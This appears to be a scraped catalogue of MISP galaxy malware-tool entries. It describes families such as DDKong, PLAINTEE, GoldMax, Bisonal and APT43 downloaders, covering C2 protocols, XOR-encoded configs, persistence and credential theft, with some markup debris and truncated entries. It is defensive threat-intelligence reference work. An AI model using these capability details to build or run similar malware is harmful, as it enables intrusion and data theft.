The malware in question is configured with the following three exported functions: ServiceMain, Rundll32Call, DllEntryPoint. The ServiceMain exported function indicates that this DLL is expected to be loaded as a service. If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. If it’s not, it dies. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. After this configuration is decoded and parsed, DDKong proceeds to send a beacon to the configured remote server via a raw TCP connection. The packet has a header of length 32 and an optional payload. In the beacon, no payload is provided, and as such, the length of this packet is set to zero. After it sends the beacon, the malware expects a response command of either 0x4 or 0x6. Both responses instruct the malware to download and load a remote plugin. In the event 0x4 is specified, the malware is instructed to load the exported ‘InitAction’ function. If 0x6 is specified, the malware is instructed to load the exported ‘KernelDllCmdAction’ function. Prior to downloading the plugin, the malware downloads a buffer that is concatenated with the embedded configuration and ultimately provided to the plugin at runtime. As we can see in the above text, two full file paths are included in this buffer, providing us with insight into the original malware family’s name, as well as the author. After this buffer is collected, the malware downloads the plugin and loads the appropriate function. This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine.

PLAINTEE

This sample is configured with three exported functions: Add, Sub, DllEntryPoint. The DLL expects the export named ‘Add’ to be used when initially loaded. When this function is executed PLAINTEE executes a command in a new process to add persistence. Next, the malware calls the ‘Sub’ function
which begins by spawning a mutex named ‘microsoftfuckedupb’ to ensure only a single instance is running at a given time. In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data. The malware then proceeds to beacon to the configured port via a custom UDP protocol. The network traffic is encoded in a similar fashion, with a random byte being selected as the first byte, which is then used to decode the remainder of the packet via XOR. This beacon is continuously sent out until a valid response is obtained from the C2 server (there is no sleep timer set). After the initial beacon, there is a two second delay in between all other requests made. This response is expected to have a return command of 0x66660002 and to contain the same GUID that was sent to the C2 server. Once this response is received, the malware spawns several new threads, with different Command parameters, with the overall objective of loading and executing a new plugin that is to be received from the C2 server. During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample. PLAINTEE expects the downloaded plugin to be a DLL with an export function of either ‘shell’ or ‘file’. The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent. The following commands were observed: tasklist, ipconfig /all. The attacker performed these two commands 33 seconds apart. As automated commands are typically performed more quickly this indicates that they may have been sent manually by the attacker.

**Koadic**

Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host

The tag is: misp-galaxy:tool="Koadic"

View relationships graph

Koadic has relationships with:
Bisonal

In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents. Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations. In October 2017, AhnLab published a report called “Operation Bitter Biscuit,” an attack campaign against South Korea, Japan, India and Russia using Bisonal and its successors, Bioazih and Dexbia.

The tag is: misp-galaxy:tool="Bisonal"

View relationships graph

Bisonal has relationships with:

- similar: misp-galaxy:malpedia="Korlia" with estimative-language:likelihood-probability="likely"

Sekur

Sekur has been CARBON SPIDER’s primary tool for several years, although usage over the last year appears to have declined. It contains all the functionality you would expect from a RAT, allowing the adversary to execute commands, manage the file system, manage processes, and collect data. In addition, it can record videos of victim sessions, log keystrokes, enable remote desktop, or install Ammyy Admin or VNC modules. From July 2014 on, samples were compiled with the capability to target Epicor POS systems and to collect credit card data.
Agent ORM

Agent ORM began circulating alongside Sekur in campaigns throughout the second half of 2015. The malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).

The tag is: `misp-galaxy:tool="Agent ORM"`  

Agent ORM is also known as:

- Tosliph
- DRIFTPIN

VB Flash

VB Flash was first observed being deployed alongside Agent ORM in September 2015. It is likely that this was developed as a replacement to Agent ORM and contained similar capabilities. The first observed instance of VB Flash included comments and was easy to analyze—later versions soon began to integrate multiple layers of obfuscation. Several versions of VB Flash were developed including ones that utilized Google Forms, Google Macros, and Google Spreadsheets together to make a command-and-control (C2) channel. This variant would POST victim data to a specified Google form, then make a request to a Google macro script, receiving an address for a Google Spreadsheet from which to request commands.

The tag is: `misp-galaxy:tool="VB Flash"`

VB Flash is also known as:

- HALFBAKED

View relationships graph

VB Flash has relationships with:

- similar: `misp-galaxy:mitre-malware="HALFBAKED - S0151"` with estimative-
JS Flash

JS Flash capabilities closely resemble those of VB Flash and leverage interesting techniques in deployment via batch scripts embedded as OLE objects in malicious documents. Many iterations of JS Flash were observed being tested before deployment, containing minor changes to obfuscation and more complex additions, such as the ability to download TinyMet (a cutdown of the Metasploit Meterpreter payload). PowerShell was also used heavily for the execution of commands and arbitrary script execution. No JS Flash samples were observed being deployed after November 2017.

The tag is: misp-galaxy:tool="JS Flash"

JS Flash is also known as:

- JavaScript variant of HALFBAKED

Bateleur

Bateleur deployments began not long after JS Flash and were also written in JavaScript. Deployments were more infrequent and testing was not observed. It is likely that Bateleur was run in parallel as an alternative tool and eventually replaced JS Flash as CARBON SPIDER's first stage tool of choice. Although much simpler in design than JS Flash, all executing out of a single script with more basic obfuscation, Bateleur has a wealth of capabilities—including the ability to download arbitrary scripts and executables, deploy TinyMet, execute commands via PowerShell, deploy a credential stealer, and collect victim system information such as screenshots.

Sirefef

This family of malware uses stealth to hide its presence on your PC. Trojans in this family can do different things, including:
- Downloading and running other files
- Contacting remote hosts
- Disabling security features

Members of the family can also change search results, which can generate money for the hackers who use Sirefef.

The tag is: **misp-galaxy:tool="Sirefef"**

Sirefef is also known as:

- Win32/Sirefef

MagentoCore Malware

A Dutch security researcher has lifted the veil on a massive website hacking campaign that has infected 7,339 Magento stores with a script that collects payment card data from people shopping on the sites. The script is what industry experts call a "payment card scraper" or "skimmer." Hackers breach sites and modify their source code to load the script along with its legitimate files. The script usually loads on store checkout pages and secretly records payment card details entered in payment forms, data that it later sends to a server under the hacker's control.

The tag is: **misp-galaxy:tool="MagentoCore Malware"**

NotPetya

Threat actors deploy a tool, called NotPetya, with the purpose of encrypting data on victims' machines and rendering it unusable. The malware was spread through tax software that companies and individuals require for filing taxes in Ukraine. Australia, Estonia, Denmark, Lithuania, Ukraine, the United Kingdom, and the United States issued statements attributing NotPetya to Russian state-sponsored actors. In June 2018, the United States sanctioned Russian
organizations believed to have assisted the Russian state-sponsored actors with the operation.

\textbf{Xbash}

Xbash is a malware family that is targeting Linux and Microsoft Windows servers. We can tie this malware, which we have named Xbash, to the Iron Group, a threat actor group known for previous ransomware attacks. Xbash was developed using Python and converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution. Xbash aimed on discovering unprotected services, deleting victim’s MySQL, PostgreSQL and MongoDB databases, and ransom for Bitcoins. Linux based systems are targeted for ransomware and botnet capabilities. The ransomware targets and deletes linux databases and there is no evidence of any functionality that makes recovery even possible by payment the ransom. Where as, windows based systems are targeted for coinmining & self-propagating capabilities. Xbash spreads by attacking weak passwords and unpatched vulnerabilities.

The tag is: \textit{misp-galaxy:tool="Xbash"}

\textit{View relationships graph}

Xbash has relationships with:

- similar: \textit{misp-galaxy:malpedia="Xbash"} with \textit{estimative-language:likelihood-probability="almost-certain"}

CroniX

The researchers named this campaign CroniX, a moniker that derives from the malware's use of Cron to achieve persistence and Xhide to launch executables with fake process names. The cryptocurrency minted on victim's computers is Monero (XMR), the coin of choice in cryptojacking activities. To make sure that rival activity does not revive, CroniX deletes the binaries of other
cryptominers present on the system. Another action CroniX takes to establish supremacy on the machine is to check the names of the processes and kill those that swallow 60% of the CPU or more.

The tag is: *misp-galaxy:tool="CroniX"*

DanderSpritz

DanderSpritz consists entirely of plugins to gather intelligence, use exploits and examine already controlled machines. It is written in Java and provides a graphical windows interface similar to botnets administrative panels as well as a Metasploit-like console interface. It also includes its own backdoors and plugins for not-FuzzBunch-controlled victims. DanderSpritz is the framework for controlling infected machines, different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar. For DanderSpritz works for a larger range of backdoors, using PeedleCheap in the victim to enable operators launching plugins. PeedleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines. Once a connection is established all DanderSpritz post-exploitation features become available.

The tag is: `misp-galaxy:tool="DanderSpritz"`

DanderSpritz is also known as:

- Dander Spritz

DarkPulsar

DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ‘sipauth32.tsp’ that provides remote control.

GhostMiner

GhostMiner is a new cryptocurrency mining malware. By the end of March 2018, a new variant of mining malware was detected targeting MSSQL, phpMyAdmin, and Oracle WebLogic servers. The sample uses Powershell to execute code with volatile resources and scans the server's processes to detect and stop other miners that might have been running prior to execution. The fileless malware has become more popular in the last years. The malicious code runs directly in main memory.
without writing any file on disk, where an antivirus engine could detect it.

**KingMiner**

A recently discovered cryptomining operation forces access to Windows servers to use their CPU cycles for mining Monero coins. Detected six months ago, the activity went through multiple stages of evolution. Since it was spotted in mid-June, the malware received two updates and the number of attacks keeps increasing. The researchers at CheckPoint analyzed the new threat and gave it the name KingMiner. They found that it targets Microsoft IIS and SQL Servers in particular and runs a brute-force attack to gain access. Once in, the malware determines the CPU architecture and checks for older versions of itself to remove them.

The tag is: *misp-galaxy:tool="KingMiner"

View relationships graph

**Taurus**

Toolkit - building kit for crafting documents used to deliver attacks

The tag is: `misp-galaxy:tool="Taurus"`

**Terra Loader**

The tag is: `misp-galaxy:tool="Terra Loader"`

**SpicyOmelette**

In 2018, CTU researchers observed several GOLD KINGSWOOD campaigns involving SpicyOmelette, a tool used by the group during initial exploitation of an organization. This sophisticated JavaScript remote access tool is generally delivered via phishing, and it uses multiple defense evasion techniques to hinder prevention and detection activities. GOLD KINGSWOOD delivered SpicyOmelette through a phishing email containing a shortened link that appeared to be a PDF document attachment. When clicked, the link used the Google AppEngine to redirect the system to a GOLD KINGSWOOD-controlled Amazon Web Services (AWS) URL that installed a signed JavaScript file, which was SpicyOmelette.

The tag is: `misp-galaxy:tool="SpicyOmelette"`
LamePyre

When LamePyre runs on the system, users see the generic Automator icon in the menu bar, which is typical for any script of this sort. The script decodes a payload written in Python and runs it on the victim host. It then starts to take pictures and upload them to the attacker’s command and control (C2) server.

The tag is: `misp-galaxy:tool="LamePyre"`

LamePyre is also known as:

- OSX.LamePyre

The initial Trojan horse infection (the fake Flash Player installer) component of OSX/Shlayer leverages shell scripts to download additional malware or adware onto the infected system. The primary goal of OSX/Shlayer is to download and install adware onto an infected Mac. Although "adware" may not sound like a big deal, it can be a lot more harmful than the name implies; be sure to watch our aforementioned interview with Amit Serper to learn more about one particular example of malicious Mac adware. At least one variant of the malware also appears to exhibit an interesting behavior: It checks whether one of several Mac anti-virus products is installed.

The tag is: misp-galaxy:tool="OSX/Shlayer"

### Bushaloder

The tag is: misp-galaxy:tool="Bushaloder"

### ANEL

Backdoor

The tag is: misp-galaxy:tool="ANEL"

ANEL is also known as:

- UPPERCUT

View relationships graph

ANEL has relationships with:

- similar: misp-galaxy:malpedia="Anel" with estimative-language:likelihood-probability="almost-certain"
BabyShark

BabyShark is a relatively new malware. The earliest sample we found from open source repositories and our internal data sets was seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator.

The tag is: `misp-galaxy:tool="BabyShark"`

StealthWorker

Hackers are running a new campaign which drops the StealthWorker brute-force malware on Windows and Linux machines that end up being used to brute force other computers in a series of distributed brute force attacks. As unearthed by FortiGuard Labs' Rommel Joven, the StealthWorker Golang-based brute forcer (also known as GoBrut) discovered by Malwarebytes at the end of February is actively being used to target and compromise multiple platforms. StealthWorker was previously connected to a number of compromised Magento-powered e-commerce websites on which attackers infiltrated skimmers designed to exfiltrate both payment and personal information. As later discovered, the malware is capable of exploiting a number of vulnerabilities in to infiltrate Magento, phpMyAdmin, and cPanel Content Management Systems (CMSs), as well as brute force its way in if everything else fails.

The tag is: `misp-galaxy:tool="StealthWorker"`
SLUB Backdoor

The SLUB backdoor is a custom one written in the C++ programming language, statically linking curl library to perform multiple HTTP requests. Other statically-linked libraries are boost (for extracting commands from gist snippets) and JsonCpp (for parsing slack channel communication).

The tag is: *misp-galaxy:tool="SLUB Backdoor"

Carp Downloader

In 2017, Unit 42 reported on and analyzed a low-volume malware family called Cardinal RAT. This malware family had remained undetected for over two years and was delivered via a unique downloader named Carp Downloader.

The tag is: *misp-galaxy:tool="Carp Downloader"

EVILNUM

EVILNUM is a JavaScript-based malware family that is used in attacks against similar organizations.

The tag is: *misp-galaxy:tool="EVILNUM"
Brushaloader

Brushaloader also leverages a combination of VBScript and PowerShell to create a Remote Access Trojan (RAT) that allows persistent command execution on infected systems.

The tag is: `misp-galaxy:tool="Brushaloader"`

Karkoff

In addition to increased reports of threat activity, we have also discovered new evidence that the threat actors behind the DNSpionage campaign continue to change their tactics, likely in an attempt to improve the efficacy of their operations. In February, we discovered some changes to the actors' tactics, techniques and procedures (TTPs), including the use of a new reconnaissance phase that selectively chooses which targets to infect with malware. In April 2019, we also discovered the actors using a new malware, which we are calling Karkoff.

The tag is: `misp-galaxy:tool="Karkoff"`
KimJongRAT

We conclude that this RAT/stealer is efficient and was also really interesting to analyse. Furthermore, the creator made efforts to look Korean, for example the author of the .pdf file is Kim Song Chol. He is the brother of Kim Jong-un, the leader of North Korea. We identified that the author of a variant of this stealer is another brother of Kim Jong-un. Maybe the author named every variant with the name of each brother. After some searches using Google, we identified an old variant of this malware here: [http://contagiodump.blogspot.ca/2010/10/oct-08-cve-2010-2883-pdf-nuclear.html](http://contagiodump.blogspot.ca/2010/10/oct-08-cve-2010-2883-pdf-nuclear.html). The code of the malware available on the blog is close to our case but with fewer features. In 2010, the password of the Gmail account was futurekimkim. Three years ago, the author was already fixated on the Kim family... The language of the resource stored in the .dll file is Korean (LANG_KOREAN). The owner of the Gmail mailbox is laoshi135.zhang and the secret question of this account is in Korean too. We don’t know if the malware truly comes from Korea. However, thanks to these factors, we decided to name this sample KimJongRAT/Stealer.

The tag is: *misp-galaxy:tool="KimJongRAT"*

**Reaver**

Unit 42 has discovered a new malware family we’ve named “Reaver” with ties to attackers who use SunOrcal malware. SunOrcal activity has been documented to at least 2013, and based on metadata surrounding some of the C2s, may have been active as early as 2010. The new family appears to have been in the wild since late 2016 and to date we have only identified 10 unique samples, indicating it may be sparingly used. Reaver is also somewhat unique in the fact that its final payload is in the form of a Control panel item, or CPL file. To date, only 0.006% of all malware seen
by Palo Alto Networks employs this technique, indicating that it is in fact fairly rare.

**SURTR**

The Citizen Lab analyzed a malicious email sent to Tibetan organizations in June 2013. The email in question purported to be from a prominent member of the Tibetan community and repurposed content from a community mailing list. Attached to the email were what appeared to be three Microsoft Word documents (.doc), but which were trojaned with a malware family we call “Surtr”.1 All three attachments drop the exact same malware. We have seen the Surtr malware family used in attacks on Tibetan groups dating back to November 2012.

SunOrcal

SunOrcal is a trojan malware family whose activity dates back to at least 2013. A version discovered in November 2017 incorporates steganography techniques and can collect C2 information via GitHub, obscuring its C2 infrastructure and evading detection using the legitimate site for its first beacon. The threat actors have targeted users in the Vietnam area, spreading phishing emails containing malicious documents purportedly regarding South China Sea disputes. The new SunOrcal version has also been used with the recently discovered Reaver trojan and the original SunOrcal version. Some of the recent activity also incorporates the use of the Surtr malware.

Bookworm

Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand. Readers who are interested in this campaign should start with our first blog that lays out the overall functionality of the malware and introduces its many components. Unit 42 does not have detailed targeting information for all known Bookworm samples, but we are aware of attempted attacks on at least two branches of government in Thailand. We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents, as well as several of the dynamic DNS domain names used to host C2 servers that contain the words “Thai” or “Thailand”. Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand.

The tag is: *misp-galaxy:tool="Bookworm"
Amavaldo

We named the malware family described in the rest of this blog post Amavaldo. This family is still in active development – the latest version we have observed (10.7) has a compilation timestamp of June 10th, 2019.

The tag is: misp-galaxy:tool="Amavaldo"

TVSPY

hacker going by the handle Mr. Burns. He also created something similar called RMS, which behaves very much like the TVSPY builder. “RMS/TVSPY continues to be developed, with a new version being posted by the developer/reseller on a regular basis,” Damballa researchers noted. “In fact, the legitimate RMS version developed by TektonIT and the version posted in criminal forums appear to be identical. TVSPY seems to be merely a modification of RMS to utilize TeamViewer infrastructure and a command-and-control interface manageable through the Web.

The tag is: misp-galaxy:tool="TVSPY"

TVSPY is also known as:

- TVRAT
- SpY-Agent
- teamspy
COMpfun

The COMpfun malware was initially documented by G-DATA in 2014. Although G-DATA didn’t identify which actor was using this malware, Kaspersky tentatively linked it to the Turla APT, based on the victimology. Our telemetry indicates that the current campaign using Reductor started at the end of April 2019 and remained active at the time of writing (August 2019). We identified targets in Russia and Belarus.

The tag is: misp-galaxy:tool="COMpfun"

Reductor

We called these new modules ‘Reductor’ after a .pdb path left in some samples. Besides typical RAT functions such as uploading, downloading and executing files, Reductor’s authors put a lot of effort into manipulating digital certificates and marking outbound TLS traffic with unique host-related identifiers. The Kaspersky Attribution Engine shows strong code similarities between this family and the COMPfun Trojan. Moreover, further research showed that the original COMpfun Trojan most probably is used as a downloader in one of the distribution schemes. Based on these similarities, we’re quite sure the new malware was developed by the COMPfun authors.

The tag is: misp-galaxy:tool="Reductor"

Table 12076. Table References

DePriMon

DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, we consider it to be a framework.

The tag is: `misp-galaxy:tool="DePriMon"`

Private Internet Access

Private Internet Access provides state of the art, multi-layered security with advanced privacy protection using VPN tunneling.

The tag is: `misp-galaxy:tool="Private Internet Access"`

Private Internet Access is also known as:

- PIA

Netcat

Reads from and writes to network connections using TCP or UDP protocols.

The tag is: `misp-galaxy:tool="Netcat"`

NBTScan

NBTScan is a program for scanning IP networks for NetBIOS name information (similar to what the Windows nbtstat tool provides against single hosts). It sends a NetBIOS status query to each address in a supplied range and lists received information in human readable form. For each responded host it lists IP address, NetBIOS computer name, logged-in user name and MAC address.

The tag is: `misp-galaxy:tool="NBTScan"

PowerGhost

PowerGhost is capable of stealthily establishing itself in a system and spreading across large corporate networks infecting both workstations and servers. This type of hidden consolidation is
typical of miners: the more machines that get infected and the longer they remain that way, the
greater the attacker's profits. Therefore, it's not uncommon to see clean software being infected
with a miner; the popularity of the legitimate software serves to promote the malware's
proliferation. The creators of PowerGhost, however, went further and started using fileless
techniques to establish the illegal miner within the victim system.

The tag is: misp-galaxy:tool="PowerGhost"

- similar: misp-galaxy:malpedia="TEARDROP" with estimative-language:likelihood-
GoldMax

Written in Go, GoldMax acts as command-and-control backdoor for the actor. It uses several different techniques to obfuscate its actions and evade detection. The malware writes an encrypted configuration file to disk, where the file name and AES-256 cipher keys are unique per implant and based on environmental variables and information about the network where it is running. GoldMax establishes a secure session key with its C2 and uses that key to securely communicate with the C2, preventing non-GoldMax-initiated connections from receiving and identifying malicious traffic. The C2 can send commands to be launched for various operations, including native OS commands, via pseudo-randomly generated cookies. The hardcoded cookies are unique to each implant, appearing to be random strings but mapping to victims and operations on the actor side.

The tag is: `misp-galaxy:tool="GoldMax"`

Raindrop

Loader used in hands-on-keyboard techniques that attackers employed on compromised endpoints using a powerful second-stage payload, one of several custom Cobalt Strike loaders.

The tag is: `misp-galaxy:tool="Raindrop"`
GoldFinder

Tool written in Go, GoldFinder was most likely used as a custom HTTP tracer tool that logs the route or hops that a packet takes to reach a hardcoded C2 server. When launched, the malware issues an HTTP request for a hardcoded IP address (e.g., hxxps://185[.][225[.][69[.][69/]) and logs the HTTP response to a plaintext log file (e.g., loglog.txt created in the present working directory). GoldFinder uses the following hardcoded labels to store the request and response information in the log file:

The tag is: misp-galaxy:tool="GoldFinder"

Sibot

Sibot is a dual-purpose malware implemented in VBScript. It is designed to achieve persistence on the infected machine then download and execute a payload from a remote C2 server. The VBScript file is given a name that impersonates legitimate Windows tasks and is either stored in the registry of the compromised system or in an obfuscated format on disk. The VBScript is then run via a scheduled task.
Matanbuchus

Matanbuchus is a loader promoted by BelialDemon. It can launch an EXE or DLL file in memory, leverage schtasks.exe to add or modify task schedules, and launch custom PowerShell commands, among other capabilities. Attackers use a Microsoft Excel document as the initial vector to drop the Matanbuchus Loader DLL.

MOUSEISLAND

MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email (Figure 2). Based on our intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID. Mandiant attributes the MOUSEISLAND distribution of PHOTOLOADER and other payloads to UNC2420, a distribution threat cluster created by Mandiant’s Threat Pursuit team. UNC2420 activity shares overlaps with the publicly reported nomenclature of “Shathak” or “TA551”.

GootLoader

GootLoader is a malware loader historically associated with the GootKit malware. As its developers updated its capabilities, GootLoader has evolved from a loader downloading a malicious payload into a multi-payload malware platform. As a loader malware, GootLoader is usually the first-stage of a system compromise. By leveraging search engine poisoning, GootLoader’s developers may compromise or create websites that rank highly in search engine results, such as Google search results. How is it delivered? Via Malicious files available for download on compromised websites that rank high as search engine results.

The tag is: `misp-galaxy:tool="GootLoader"`

**Fauppod**

The Fauppod malware delivers a JavaScript backdoor to gain unauthorized access to the target system and deploy additional malware.

The tag is: *misp-galaxy:tool="Fauppod"

**Truebot**

This threat takes multiple screenshots of your desktop. It saves all screenshots in a .dat file that becomes a collection of bitmap images. According to Group-IB, FlawedAmmyy.downloader and Truebot would have been developed by the same individual

The tag is: *misp-galaxy:tool="Truebot"

Truebot is also known as:

- Silence

**FakeUpdates**

FAKEUPDATES is a downloader written in JavaScript that communicates via HTTP. Supported payload types include executables and JavaScript. It writes the payloads to disk prior to launching them. FAKEUPDATES has led to further compromise via additional malware families that include CTHONIC, DRIDEX, EMPIRE, KOADIC, DOPPELPAYER, and AZORULT. FAKEUPDATES has been heavily used by UNC1543, a financially motivated group.

SocGholish, first appearing in late 2017 and rising to prominence in mid-2018, has been used to
describe both the web drive-by download network used to infect victims and the JavaScript-based loader malware that targets Windows systems.

The tag is: `misp-galaxy:tool="FakeUpdates"`

SNOWYAMBER

A tool first used in October 2022, abusing the Notion service to communicate and download further malicious files. Two versions of this tool have been observed.

SNOWYAMBER is a dropper that was used in an espionage campaign significantly overlapping with publicly described activity linked to the APT29 and NOBELIUM activity sets. SNOWYAMBER abuses the NOTION collaboration service as a communication channel. It does not contain any other capabilities aside from downloading and executing 2nd stage. To bypass security products, SNOWYAMBER uses several antidetection and obfuscation techniques, including string encryption, dynamic API resolving, EDR/AV unhooking, and direct syscalls.

The tag is: *misp-galaxy:tool="SNOWYAMBER"

View relationships graph

SNOWYAMBER has relationships with:

- used-by: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="UNC2452" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:online-service="Notion" with estimative-language:likelihood-probability="likely"
HALFRIG

Used for the first time in February 2023. This tool is distinguished from the others by the embedded code that runs the COBALT STRIKE tool.

HALFRIG is a stager for CobaltStrike Beacon that was used in an espionage campaign significantly overlapping with publicly described activity linked to the APT29 and NOBELIUM activity sets. HALFRIG has significant code overlap with the QUARTERRIG and it is highly probable that it was developed by the same team.

The tag is: misp-galaxy:tool="HALFRIG"

View relationships graph

HALFRIG has relationships with:

- used-by: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="UNC2452" with estimative-language:likelihood-probability="likely"

QUARTERRIG

A tool first used in March 2023, sharing part of the code with HALFRIG. Two versions of this tool were observed.

QUARTERRIG is a dropper that was used in an espionage campaign significantly overlapping with publicly described activity linked to the APT29 and NOBELIUM activity sets. QUARTERRIG does not contain any other capabilities aside from downloading and executing 2nd stage. To bypass security products, QUARTERRIG heavily relies on obfuscation based on opaque predicates and multi-stage
execution, interweaving shellcode and PE files. HALFRIG and QUARTERRIG share some of the codebase, suggesting that QUARTERRIG authors have access to both HALFRIG source code and the same obfuscation libraries.

The tag is: *misp-galaxy:tool="QUARTERRIG"*

**LATEOP**

LATEOP is a datamine VisualBasic script that can enumerate a variety of characteristics of a target system as well as execute additional arbitrary VisualBasic content. Some deployments of LATEOP have led to the download and execution of the PASSMARK credential theft payload. In contrast, some deployments of LATEOP.v2 have originated from BENCHMARK sourced infections. Availability: Non-public

The tag is: *misp-galaxy:tool*="LATEOP"

LATEOP is also known as:

- **LATEOP.V2**
LATEOP has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

LONEJOGGER

LONEJOGGER is a downloader/dropper which has been observed targeting cryptocurrency services (including exchanges and investment companies), and uses a .lnk shortcut to download guardrailed HTML Application payloads. Availability: Non-public

The tag is: misp-galaxy:tool="LONEJOGGER"

PASSMARK

PASSMARK is a credential harvester that steals usernames and passwords from web browsers and email applications. PASSMARK is likely derived from the tool PassView. Availability: Public

The tag is: misp-galaxy:tool="PASSMARK"
PENCILDOWN

PENCILDOWN is a C/C++ Windows based downloader. PENCILDOWN collects basic system information and sends it to the C2 server before receiving the next stage. The next stage is then loaded in memory or executed directly based off a flag in the response. Availability: Non-public

The tag is: misp-galaxy:tool="PENCILDOWN"

PENCILDOWN is also known as:

• PENCILDOWN.ANDROID

PENCILDOWN has relationships with:

• used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

</tr>
</tbody>
</table>

PENDOWN

PENDOWN is a downloader written in C++ that retrieves a payload via HTTP. The downloaded file is saved to disk and executed. Availability: Non-public

The tag is: misp-galaxy:tool="PENDOWN"

PENDOWN has relationships with:

• used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

</tr>
</tbody>
</table>

PUMPKINBAR

PUMPKINBAR is a C/C++ dropper. PUMPKINBAR can contain multiple payloads encoded and embedded within itself. The key to decode each payload is appended at the end of the PUMPKINBAR executable. The payloads are dropped to disk and executed. Availability: Non-public

The tag is: misp-galaxy:tool="PUMPKINBAR"
PUMPKINBAR has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

</tbody>
</table>

SLIMCURL

SLIMCURL is a C/C++ downloader. It contains the next stage as a Base64 encoded Google Drive link. The next stage is downloaded using cURL. Availability: Non-public

The tag is: misp-galaxy:tool="SLIMCURL"

SLIMCURL has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

**DarkGate**

First documented in 2018, DarkGate is a commodity loader with features that include the ability to download and execute files to memory, a Hidden Virtual Network Computing (HVNC) module, keylogging, information-stealing capabilities, and privilege escalation. DarkGate makes use of legitimate AutoIt files and typically runs multiple AutoIt scripts. New versions of DarkGate have been advertised on a Russian language eCrime forum since May 2023.

The tag is: `misp-galaxy:tool="DarkGate"`

DarkGate is also known as:
DangerAds

This is a loader Trojan used by AtlasCross in this activity. Its main function is to detect the host environment and execute a built-in shellcode in its own process, and then the shellcode loads and runs subsequent Trojan programs. DangerAds writes major malicious code to the .NET dll program's HelpText method, so it starts when an external program invokes Help from that dll program. It should be noted that the user name and local domain name of the host will be collected before the main malicious functions of DangerAds are executed, and subsequent codes will be executed only when one of these two names contains the keyword “danger” or “ads-wcf”. Therefore, it can be judged that this attack is a targeted attack against the domain or user name containing “ads-wcf”. The main body of DangerAds malicious code will determine the number of program version bits and selectively decrypt and execute an x86 or x64 shellcode. DangerAds uses multi-byte XOR for decryption, while shellcode is loaded directly in the process. In the shellcode stage, DangerAds uses a set of open-source scheme sRDI (https://github.com/monoxgas/sRDI/blob/master/shellcodeRDI/shellcodeRDI.c) to load and execute DLL programs. The shellcode finally loads the attached DLL program at its tail and calls the export function EnumWinEvent. The DLL program loaded by this shellcode is the AtlasAgent Trojan developed by AtlasCross.

The tag is: misp-galaxy:tool="DangerAds"

View relationships graph

DangerAds has relationships with:

**AtlasAgent**

AtlasAgent used in this attack activity is Trojan horse program developed by AtlasCross. The main functions of the Trojan are to obtain host information, process information, prevent opening of multi-programs, inject specified shellcode and download files from CnC servers. The Trojan communicates with the CnC through HTTP protocol, encrypts communication data using Base64 encoding after RC4 encryption, and encrypts key APIs using two encryption methods at the same time.

The tag is: `misp-galaxy:tool="AtlasAgent"`
